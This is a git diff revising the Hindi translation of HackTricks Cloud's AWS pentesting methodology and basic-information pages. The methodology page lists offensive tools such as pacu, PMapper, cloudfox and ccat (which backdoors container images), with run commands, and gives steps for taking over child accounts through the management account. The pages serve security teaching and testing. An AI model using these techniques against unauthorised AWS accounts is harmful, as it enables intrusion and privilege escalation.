-> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को सूचीबद्ध करने के कुछ तरीके** देख सकते हैं।
+> अब जब आपके पास **अपने क्रेडेंशियल्स के बारे में कुछ जानकारी है** (और यदि आप एक रेड टीम हैं तो उम्मीद है कि आप **पता नहीं चले**)। यह पता लगाने का समय है कि वातावरण में कौन सी सेवाएँ उपयोग की जा रही हैं।\
+> निम्नलिखित अनुभाग में आप **कुछ सामान्य सेवाओं को enumerating करने के तरीके** की जांच कर सकते हैं।
## Services Enumeration, Post-Exploitation & Persistence
-AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, सूचीकरण** cheatsheets\*\*,\*\* **पता लगाने से बचने** के तरीके, **स्थायीता** प्राप्त करने और उनमें से कुछ के बारे में अन्य **पोस्ट-एक्सप्लॉइटेशन** तरकीबें पाएंगे:
+AWS में सेवाओं की एक आश्चर्यजनक मात्रा है, निम्नलिखित पृष्ठ पर आप **बुनियादी जानकारी, enumeration** cheatsheets\*\*,\*\* **detention से बचने** का तरीका, **persistence** प्राप्त करने और उनमें से कुछ के बारे में अन्य **post-exploitation** ट्रिक्स पाएंगे:
{{#ref}}
aws-services/
{{#endref}}
-ध्यान दें कि आपको सभी कार्य **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं।
+ध्यान दें कि आपको **सारा काम** **हाथ से** करने की आवश्यकता नहीं है, इस पोस्ट के नीचे आप [**स्वचालित उपकरणों**](./#automated-tools) के बारे में एक **अनुभाग** पा सकते हैं।
-इसके अलावा, इस चरण में आप **असत्यापित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
+इसके अलावा, इस चरण में आप **अप्रमाणित उपयोगकर्ताओं के लिए अधिक सेवाएँ उजागर** कर सकते हैं, आप उन्हें शोषण करने में सक्षम हो सकते हैं:
{{#ref}}
aws-unauthenticated-enum-access/
@@ -139,10 +139,10 @@ aws-privilege-escalation/
## Publicly Exposed Services
-जब आप AWS सेवाओं को सूचीबद्ध कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\
+जब आप AWS सेवाओं को enumerating कर रहे थे, तो आप उनमें से कुछ को **इंटरनेट पर तत्व उजागर करते हुए** पा सकते हैं (VM/Containers ports, databases या queue services, snapshots या buckets...)।\
एक pentester/red teamer के रूप में आपको हमेशा यह जांचना चाहिए कि क्या आप उन पर **संवेदनशील जानकारी / कमजोरियों** को खोज सकते हैं क्योंकि वे आपको **AWS खाते में आगे की पहुँच** प्रदान कर सकते हैं।
-इस पुस्तक में आपको **जानकारी** मिलेगी कि **कैसे उजागर AWS सेवाओं को खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
+इस पुस्तक में आपको **जानकारी** मिलेगी कि **उजागर AWS सेवाओं को कैसे खोजें और उन्हें कैसे जांचें**। उजागर नेटवर्क सेवाओं में **कमजोरियों** को खोजने के लिए मैं आपको **विशिष्ट सेवा** के लिए **खोजने** की सिफारिश करूंगा:
{{#ref}}
https://book.hacktricks.xyz/
@@ -156,18 +156,18 @@ https://book.hacktricks.xyz/
-तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको आवश्यकता है:
+तो, एक बच्चे के खाते के रूप में व्यवस्थापक के रूप में पहुँचने के लिए आपको चाहिए:
- **प्रबंधन** खाते को **समझौता** करें और **बच्चे के खातों** के **ID** और **भूमिकाओं** के **नाम** (डिफ़ॉल्ट रूप से OrganizationAccountAccessRole) को खोजें जो प्रबंधन खाते को व्यवस्थापक के रूप में पहुँचने की अनुमति देते हैं।
- बच्चों के खातों को खोजने के लिए AWS कंसोल में संगठनों के अनुभाग पर जाएँ या `aws organizations list-accounts` चलाएँ।
-- आप भूमिकाओं के नाम सीधे नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**।
-- **प्रबंधन खाते में एक** **principal** को **`sts:AssumeRole` अनुमति के साथ समझौता करें जो बच्चों के खातों में भूमिका पर है** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)।
+- आप सीधे भूमिकाओं के नाम नहीं खोज सकते, इसलिए सभी कस्टम IAM नीतियों की जांच करें और किसी भी नीति को खोजें जो **`sts:AssumeRole` को पहले से खोजे गए बच्चों के खातों पर अनुमति देती है**।
+- **प्रबंधन खाते में एक **principal** को **`sts:AssumeRole` अनुमति के साथ बच्चों के खातों में भूमिका पर समझौता करें** (भले ही खाता प्रबंधन खाते से किसी को भी अनुकरण करने की अनुमति दे रहा हो, क्योंकि यह एक बाहरी खाता है, विशिष्ट `sts:AssumeRole` अनुमतियाँ आवश्यक हैं)।
## Automated Tools
### Recon
-- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रह उपकरण** जो Ruby में लिखा गया है।
+- [**aws-recon**](https://github.com/darkbitio/aws-recon): एक मल्टी-थ्रेडेड AWS सुरक्षा-केंद्रित **इन्वेंटरी संग्रहण उपकरण** जो Ruby में लिखा गया है।
```bash
# Install
gem install aws_recon
@@ -179,7 +179,7 @@ AWS_PROFILE= aws_recon \
--verbose
```
- [**cloudlist**](https://github.com/projectdiscovery/cloudlist): Cloudlist एक **मल्टी-क्लाउड टूल है जो क्लाउड प्रदाताओं से एसेट्स (होस्टनेम, आईपी पते) प्राप्त करने के लिए है**।
-- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब बहुत अधिक कार्यक्षमता है, जिसमें सुरक्षा मुद्दों के लिए ऑडिटिंग शामिल है।
+- [**cloudmapper**](https://github.com/duo-labs/cloudmapper): CloudMapper आपको आपके Amazon Web Services (AWS) वातावरण का विश्लेषण करने में मदद करता है। इसमें अब सुरक्षा मुद्दों के लिए ऑडिटिंग सहित बहुत अधिक कार्यक्षमता है।
```bash
# Installation steps in github
# Create a config.json file with the aws info, like:
@@ -224,7 +224,7 @@ python3 cloudmapper.py public --accounts dev
python cloudmapper.py prepare #Prepare webserver
python cloudmapper.py webserver #Show webserver
```
-- [**cartography**](https://github.com/lyft/cartography): कार्टोग्राफी एक पायथन उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो एक Neo4j डेटाबेस द्वारा संचालित होता है।
+- [**cartography**](https://github.com/lyft/cartography): Cartography एक Python उपकरण है जो बुनियादी ढांचे के संपत्तियों और उनके बीच के संबंधों को एक सहज ग्राफ दृश्य में समेकित करता है, जो Neo4j डेटाबेस द्वारा संचालित है।
```bash
# Install
pip install cartography
@@ -233,14 +233,14 @@ pip install cartography
# Get AWS info
AWS_PROFILE=dev cartography --neo4j-uri bolt://127.0.0.1:7687 --neo4j-password-prompt --neo4j-user neo4j
```
-- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एकत्र करता है, जिसमें क्लाउड बुनियादी ढांचा, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित एक सहज ग्राफ दृश्य में है।
+- [**starbase**](https://github.com/JupiterOne/starbase): Starbase सेवाओं और प्रणालियों से संपत्तियों और संबंधों को एक सहज ग्राफ दृश्य में एकत्र करता है, जिसमें क्लाउड अवसंरचना, SaaS अनुप्रयोग, सुरक्षा नियंत्रण और अधिक शामिल हैं, जो Neo4j डेटाबेस द्वारा समर्थित है।
- [**aws-inventory**](https://github.com/nccgroup/aws-inventory): (python2 का उपयोग करता है) यह एक उपकरण है जो एक खाते में बनाए गए सभी [**AWS संसाधनों**](https://docs.aws.amazon.com/general/latest/gr/glos-chap.html#resource) को **खोजने** की कोशिश करता है।
- [**aws_public_ips**](https://github.com/arkadiyt/aws_public_ips): यह एक उपकरण है जो एक AWS खाते से जुड़े सभी सार्वजनिक IP पते (IPv4/IPv6 दोनों) को **प्राप्त** करता है।
### Privesc & Exploiting
- [**SkyArk**](https://github.com/cyberark/SkyArk)**:** स्कैन किए गए AWS वातावरण में सबसे विशेषाधिकार प्राप्त उपयोगकर्ताओं का पता लगाएं, जिसमें AWS Shadow Admins शामिल हैं। यह powershell का उपयोग करता है। आप [https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1) में **`Check-PrivilegedPolicy`** फ़ंक्शन में **विशेषाधिकार प्राप्त नीतियों** की परिभाषा पा सकते हैं।
-- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **`user_escalation_methods`** dict के अंदर **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं।
+- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacu एक ओपन-सोर्स **AWS शोषण ढांचा** है, जिसे क्लाउड वातावरण के खिलाफ आक्रामक सुरक्षा परीक्षण के लिए डिज़ाइन किया गया है। यह **enumerate** कर सकता है, **miss-configurations** खोज सकता है और उन्हें **exploit** कर सकता है। आप **`user_escalation_methods`** dict के अंदर [https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam\_\_privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134) में **विशेषाधिकार प्राप्त अनुमतियों** की परिभाषा पा सकते हैं।
- ध्यान दें कि pacu **केवल आपके अपने privescs पथों** की जांच करता है (खाते के स्तर पर नहीं)।
```bash
# Install
@@ -255,7 +255,7 @@ pacu
> exec iam__enum_permissions # Get permissions
> exec iam__privesc_scan # List privileged permissions
```
-- [**PMapper**](https://github.com/nccgroup/PMapper): प्रिंसिपल मैपर (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** की जांच कर सकते हैं जो फ़ाइल नामों में `_edges.py` के साथ समाप्त होती हैं [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing)
+- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) एक स्क्रिप्ट और पुस्तकालय है जो AWS खाते या AWS संगठन के लिए AWS पहचान और पहुंच प्रबंधन (IAM) की कॉन्फ़िगरेशन में जोखिमों की पहचान करने के लिए है। यह एक खाते में विभिन्न IAM उपयोगकर्ताओं और भूमिकाओं को एक निर्देशित ग्राफ के रूप में मॉडल करता है, जो **privilege escalation** के लिए जांच और एक हमलावर द्वारा संसाधन या क्रिया तक पहुंच प्राप्त करने के लिए वैकल्पिक पथों की जांच करने की अनुमति देता है। आप **privesc** पथों को खोजने के लिए उपयोग की जाने वाली **permissions** को [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) में `_edges.py` के साथ समाप्त होने वाले फ़ाइल नामों में देख सकते हैं।
```bash
# Install
pip install principalmapper
@@ -277,8 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins
pmapper --profile dev orgs create
pmapper --profile dev orgs display
```
-- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाली HTML रिपोर्ट उत्पन्न करता है।\
-यह आपको संभावित **over privileged** ग्राहक, inline और aws **policies** दिखाएगा और कौन से **principals को उन तक पहुंच है**। (यह न केवल privesc की जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों की भी जांच करता है, उपयोग करने की सिफारिश की जाती है)।
+- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining एक AWS IAM सुरक्षा मूल्यांकन उपकरण है जो न्यूनतम विशेषाधिकार के उल्लंघनों की पहचान करता है और एक जोखिम-प्राथमिकता वाला HTML रिपोर्ट उत्पन्न करता है।\
+यह आपको संभावित **अधिक विशेषाधिकार** वाले ग्राहक, इनलाइन और aws **नीतियों** को दिखाएगा और कौन से **प्रिंसिपल्स को उन तक पहुंच है**। (यह न केवल प्रिवेस्क के लिए जांच करता है बल्कि अन्य प्रकार की दिलचस्प अनुमतियों के लिए भी, उपयोग करने की सिफारिश की जाती है)।
```bash
# Install
pip install cloudsplaining
@@ -290,13 +290,13 @@ cloudsplaining download --profile dev
# Analyze the IAM policies
cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/
```
-- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **उपडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं।
-- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपॉजिटरी की सूची -> ECR रिपॉजिटरी खींचें -> इसे बैकडोर करें -> बैकडोर की गई छवि पुश करें
-- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो गलती से छोड़े जा सकते हैं।
+- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack AWS खातों का मूल्यांकन करता है **सबडोमेन हाइजैकिंग कमजोरियों** के लिए, जो कि अलग-अलग Route53 और CloudFront कॉन्फ़िगरेशन के परिणामस्वरूप होती हैं।
+- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECR रिपोजिटरी की सूची -> ECR रिपोजिटरी खींचें -> बैकडोर करें -> बैकडोर की गई छवि पुश करें
+- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag एक उपकरण है जो **सार्वजनिक Elastic Block Storage (EBS) स्नैपशॉट्स** के माध्यम से उन रहस्यों की **खोज** करता है जो शायद गलती से छोड़ दिए गए हों।
### ऑडिट
-- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit द्वारा Aqua एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)।
+- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** Aqua द्वारा CloudSploit एक ओपन-सोर्स प्रोजेक्ट है जिसे **क्लाउड इन्फ्रास्ट्रक्चर** खातों में **सुरक्षा जोखिमों** का पता लगाने के लिए डिज़ाइन किया गया है, जिसमें शामिल हैं: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), और GitHub (यह ShadowAdmins की तलाश नहीं करता)।
```bash
./index.js --csv=file.csv --console=table --config ./config.js
@@ -314,11 +314,11 @@ prowler -v
prowler
prowler aws --profile custom-profile [-M csv json json-asff html]
```
-- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनटेस्टिंग करने वालों और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड अवसंरचना में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है।
+- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox आपको अपरिचित क्लाउड वातावरण में स्थिति की जागरूकता प्राप्त करने में मदद करता है। यह एक ओपन-सोर्स कमांड लाइन टूल है जिसे पेनिट्रेशन टेस्टर्स और अन्य आक्रामक सुरक्षा पेशेवरों को क्लाउड इन्फ्रास्ट्रक्चर में शोषण योग्य हमले के रास्ते खोजने में मदद करने के लिए बनाया गया है।
```bash
cloudfox aws --profile [profile-name] all-checks
```
-- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग उपकरण है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है।
+- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): स्काउट सूट एक ओपन सोर्स मल्टी-क्लाउड सुरक्षा-ऑडिटिंग टूल है, जो क्लाउड वातावरण की सुरक्षा स्थिति का आकलन करने में सक्षम बनाता है।
```bash
# Install
virtualenv -p python3 venv
@@ -334,11 +334,11 @@ scout aws -p dev
### निरंतर ऑडिट
-- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): क्लाउड कस्टोडियन सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है।
-- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और सुरक्षा स्वचालन के लिए क्लाउड**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का इन नीतियों के खिलाफ मूल्यांकन किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके।
-- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वर रहित, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें घटना पहचान और प्रतिक्रिया के लिए हर दिन टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं।
+- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian सार्वजनिक क्लाउड खातों और संसाधनों का प्रबंधन करने के लिए एक नियम इंजन है। यह उपयोगकर्ताओं को **एक अच्छी तरह से प्रबंधित क्लाउड अवसंरचना सक्षम करने के लिए नीतियों को परिभाषित करने** की अनुमति देता है, जो सुरक्षित और लागत अनुकूलित दोनों है। यह संगठनों के पास मौजूद कई अस्थायी स्क्रिप्टों को एक हल्के और लचीले उपकरण में समेकित करता है, जिसमें एकीकृत मैट्रिक्स और रिपोर्टिंग होती है।
+- [**pacbot**](https://github.com/tmobile/pacbot)**: नीति के रूप में कोड बॉट (PacBot)** एक प्लेटफ़ॉर्म है **निरंतर अनुपालन निगरानी, अनुपालन रिपोर्टिंग और क्लाउड के लिए सुरक्षा स्वचालन**। PacBot में, सुरक्षा और अनुपालन नीतियाँ कोड के रूप में लागू की जाती हैं। PacBot द्वारा खोजे गए सभी संसाधनों का मूल्यांकन इन नीतियों के खिलाफ किया जाता है ताकि नीति के अनुपालन का आकलन किया जा सके। PacBot **स्वचालित-फिक्स** ढांचा नीति उल्लंघनों का स्वतः उत्तर देने की क्षमता प्रदान करता है, पूर्व निर्धारित क्रियाएँ करके।
+- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert एक सर्वरलेस, **वास्तविक समय** डेटा विश्लेषण ढांचा है जो आपको **किसी भी वातावरण से डेटा को ग्रहण, विश्लेषण और अलर्ट** करने में सक्षम बनाता है, **डेटा स्रोतों और अलर्टिंग लॉजिक का उपयोग करते हुए जिसे आप परिभाषित करते हैं**। कंप्यूटर सुरक्षा टीमें हर दिन घटना पहचान और प्रतिक्रिया के लिए टेराबाइट्स लॉग डेटा को स्कैन करने के लिए StreamAlert का उपयोग करती हैं।
-## DEBUG: AWS cli अनुरोधों को कैप्चर करें
+## DEBUG: AWS cli अनुरोध कैप्चर करें
```bash
# Set proxy
export HTTP_PROXY=http://localhost:8080
diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
index c66840046..5ad71d4d3 100644
--- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md
+++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md
@@ -1,58 +1,58 @@
-# AWS - Basic Information
+# AWS - मूल जानकारी
{{#include ../../../banners/hacktricks-training.md}}
-## Organization Hierarchy
+## संगठन पदानुक्रम
.png>)
-### Accounts
+### खाते
-AWS में एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालांकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढांचे को अलग करने के लिए **अन्य खाते बना सकते हैं**।
+AWS में एक **रूट खाता** होता है, जो आपके **संगठन** के सभी खातों के लिए **माता-पिता कंटेनर** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **विभिन्न AWS** अवसंरचनाओं को अलग करने के लिए **अन्य खाते बना सकते हैं**।
-यह **security** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनाती के बीच सीमाएँ बना सकते हैं।
+यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
-इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं और उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
+इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एक एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
-- **प्रबंधन खाता (root account)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
+- **प्रबंधन खाता (रूट खाता)** वह खाता है जिसका उपयोग आप संगठन बनाने के लिए करते हैं। संगठन के प्रबंधन खाते से, आप निम्नलिखित कर सकते हैं:
-- संगठन में खाते बनाएं
-- संगठन में अन्य मौजूदा खातों को आमंत्रित करें
-- संगठन से खातों को हटाएं
-- आमंत्रण प्रबंधित करें
-- संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करें
-- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करें।
-- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है।
+- संगठन में खाते बनाना
+- संगठन में अन्य मौजूदा खातों को आमंत्रित करना
+- संगठन से खातों को हटाना
+- आमंत्रण प्रबंधित करना
+- संगठन के भीतर संस्थाओं (रूट, OU, या खाते) पर नीतियाँ लागू करना
+- संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना।
+- आप इस रूट खाते/संगठन को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके रूट उपयोगकर्ता के रूप में लॉगिन कर सकते हैं।
-प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
+प्रबंधन खाते की **भुगतानकर्ता खाते की जिम्मेदारियाँ** होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप संगठन के प्रबंधन खाते को बदल नहीं सकते।
- **सदस्य खाते** संगठन में बाकी सभी खातों का निर्माण करते हैं। एक खाता एक समय में केवल एक संगठन का सदस्य हो सकता है। आप एक खाते पर नियंत्रण लागू करने के लिए एक नीति संलग्न कर सकते हैं केवल उसी एक खाते पर।
- सदस्य खातों को **एक मान्य ईमेल पता** का उपयोग करना चाहिए और एक **नाम** हो सकता है, सामान्यतः वे बिलिंग का प्रबंधन नहीं कर पाएंगे (लेकिन उन्हें इसके लिए पहुँच दी जा सकती है)।
```
aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com
```
-### **Organization Units**
+### **संगठन इकाइयाँ**
-खातों को **Organization Units (OU)** में समूहित किया जा सकता है। इस तरह, आप उस Organization Unit के लिए **policies** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
+खातों को **संगठन इकाइयों (OU)** में समूहित किया जा सकता है। इस तरह, आप संगठन इकाई के लिए **नीतियाँ** बना सकते हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
```bash
# You can get the root id from aws organizations list-roots
aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
```
-### Service Control Policy (SCP)
+### सेवा नियंत्रण नीति (SCP)
-एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालता है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करता है**।
+एक **सेवा नियंत्रण नीति (SCP)** एक नीति है जो उन सेवाओं और क्रियाओं को निर्दिष्ट करती है जिन्हें उपयोगकर्ता और भूमिकाएँ उन खातों में उपयोग कर सकते हैं जिन पर SCP प्रभाव डालती है। SCPs **IAM** अनुमतियों की नीतियों के समान हैं, सिवाय इसके कि वे **कोई अनुमतियाँ नहीं देतीं**। इसके बजाय, SCPs एक संगठन, संगठनात्मक इकाई (OU), या खाते के लिए **अधिकतम अनुमतियों** को निर्दिष्ट करती हैं। जब आप अपने संगठन की जड़ या एक OU पर SCP संलग्न करते हैं, तो **SCP सदस्य खातों में संस्थाओं के लिए अनुमतियों को सीमित करती है**।
-यह **एकमात्र तरीका है कि** **यहाँ तक कि रूट उपयोगकर्ता को भी कुछ करने से रोका जा सकता है**। उदाहरण के लिए, इसका उपयोग उपयोगकर्ताओं को CloudTrail को निष्क्रिय करने या बैकअप हटाने से रोकने के लिए किया जा सकता है।\
